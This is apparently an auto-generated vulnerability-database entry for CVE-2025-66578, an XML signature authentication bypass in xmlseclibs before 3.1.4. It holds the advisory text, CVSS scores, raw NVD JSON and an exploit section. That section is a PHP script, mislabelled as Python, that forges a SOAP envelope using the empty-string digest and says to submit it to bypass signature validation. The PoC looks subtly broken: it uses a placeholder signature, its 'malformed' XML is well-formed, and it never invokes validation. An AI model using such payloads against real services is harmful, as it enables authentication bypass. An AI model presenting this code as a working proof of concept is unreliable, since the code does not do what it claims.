Security Vulnerability Report
中文
CVE-2025-66578 CVSS 6.0 MEDIUM

CVE-2025-66578

Published: 2025-12-09 16:18:22
Last Modified: 2025-12-11 16:23:34

Description

xmlseclibs is a library written in PHP for working with XML Encryption and Signatures. Versions 3.1.3 contain an authentication bypass vulnerability due to a flaw in the libxml2 canonicalization process during document transformation. When libxml2’s canonicalization is invoked on an invalid XML input, it may return an empty string rather than a canonicalized node. xmlseclibs then proceeds to compute the DigestValue over this empty string, treating it as if canonicalization succeeded. This issue is fixed in version 3.1.4. Workarounds include treating canonicalization failures (exceptions or nil/empty outputs) as fatal and aborting validation, and/or adding explicit checks to reject when canonicalize returns nil/empty or raises errors.

CVSS Details

CVSS Score
6.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:xmlseclibs_project:xmlseclibs:*:*:*:*:*:*:*:* - VULNERABLE
xmlseclibs < 3.1.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-66578 PoC - xmlseclibs Authentication Bypass * This PoC demonstrates how an attacker can bypass XML signature validation * by exploiting the empty string canonicalization vulnerability. */ require_once 'xmlseclibs.php'; use RobRichards\XMLSecLibs\XMLSecurityDSig; use RobRichards\XMLSecLibs\XMLSecurityKey; // Generate a malicious XML document that causes canonicalization to return empty string function createMaliciousXML() { // Create XML with invalid structure that causes libxml2 to return empty string on canonicalize $xml = '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"> <SOAP-ENV:Header> <wsse:Security xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd"> <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> <ds:SignedInfo> <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/> <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/> <ds:Reference URI="#body"> <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/> <ds:DigestValue>EMPTY_STRING_SHA256</ds:DigestValue> </ds:Reference> </ds:SignedInfo> <ds:SignatureValue>ATTACKER_SIGNATURE</ds:SignatureValue> <ds:KeyInfo> <wsse:SecurityTokenReference> <wsse:Reference URI="#key"/> </wsse:SecurityTokenReference> </ds:KeyInfo> </ds:Signature> </wsse:Security> </SOAP-ENV:Header> <SOAP-ENV:Body Id="body"> <!-- Malformed XML that triggers the vulnerability --> <InvalidXML><![CDATA[]]></InvalidXML> </SOAP-ENV:Body> </SOAP-ENV:Envelope>'; return $xml; } // Exploit function that calculates the digest of empty string function exploit() { // Calculate SHA-256 of empty string (the digest value attacker needs) $emptyStringDigest = base64_encode(hash('sha256', '', true)); echo "[*] CVE-2025-66578 Exploitation\n"; echo "[*] Empty string SHA-256 digest: " . $emptyStringDigest . "\n"; // Create malicious XML with the calculated digest $maliciousXML = createMaliciousXML(); // Replace placeholder with actual digest $maliciousXML = str_replace('EMPTY_STRING_SHA256', $emptyStringDigest, $maliciousXML); echo "[*] Malicious XML created\n"; echo "[*] Attack vector: Submit this XML to bypass signature validation\n"; return $maliciousXML; } // Mitigation check function function checkVulnerability($xmlSecLibsVersion) { echo "[*] Checking xmlseclibs version...\n"; if (version_compare($xmlSecLibsVersion, '3.1.4', '<')) { echo "[!] VULNERABLE: Version $xmlSecLibsVersion is affected\n"; echo "[!] Recommendation: Upgrade to version 3.1.4 or later\n"; return true; } else { echo "[+] PATCHED: Version $xmlSecLibsVersion is not affected\n"; return false; } } // Run the exploit demonstration $xmlSecLibsVersion = '3.1.3'; if (checkVulnerability($xmlSecLibsVersion)) { exploit(); } ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66578", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:21.580", "lastModified": "2025-12-11T16:23:34.080", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "xmlseclibs is a library written in PHP for working with XML Encryption and Signatures. Versions 3.1.3 contain an authentication bypass vulnerability due to a flaw in the libxml2 canonicalization process during document transformation. When libxml2’s canonicalization is invoked on an invalid XML input, it may return an empty string rather than a canonicalized node. xmlseclibs then proceeds to compute the DigestValue over this empty string, treating it as if canonicalization succeeded. This issue is fixed in version 3.1.4. Workarounds include treating canonicalization failures (exceptions or nil/empty outputs) as fatal and aborting validation, and/or adding explicit checks to reject when canonicalize returns nil/empty or raises errors."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:L", "baseScore": 6.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.2, "impactScore": 4.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-248"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:xmlseclibs_project:xmlseclibs:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.1.4", "matchCriteriaId": "F6F18E09-4040-42AD-8BAD-E9186E79B968"}]}]}], "references": [{"url": "https://github.com/robrichards/xmlseclibs/blob/f4131320c6dcd460f1b0c67f16f8bf24ce4b5c3e/src/XMLSecurityDSig.php#L296", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/robrichards/xmlseclibs/commit/69fd63080bc47a8d51bc101c30b7cb756862d1d6", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/robrichards/xmlseclibs/security/advisories/GHSA-c4cc-x928-vjw9", "source": "[email protected]", "tags": ["Vendor Advisory", "Exploit"]}]}}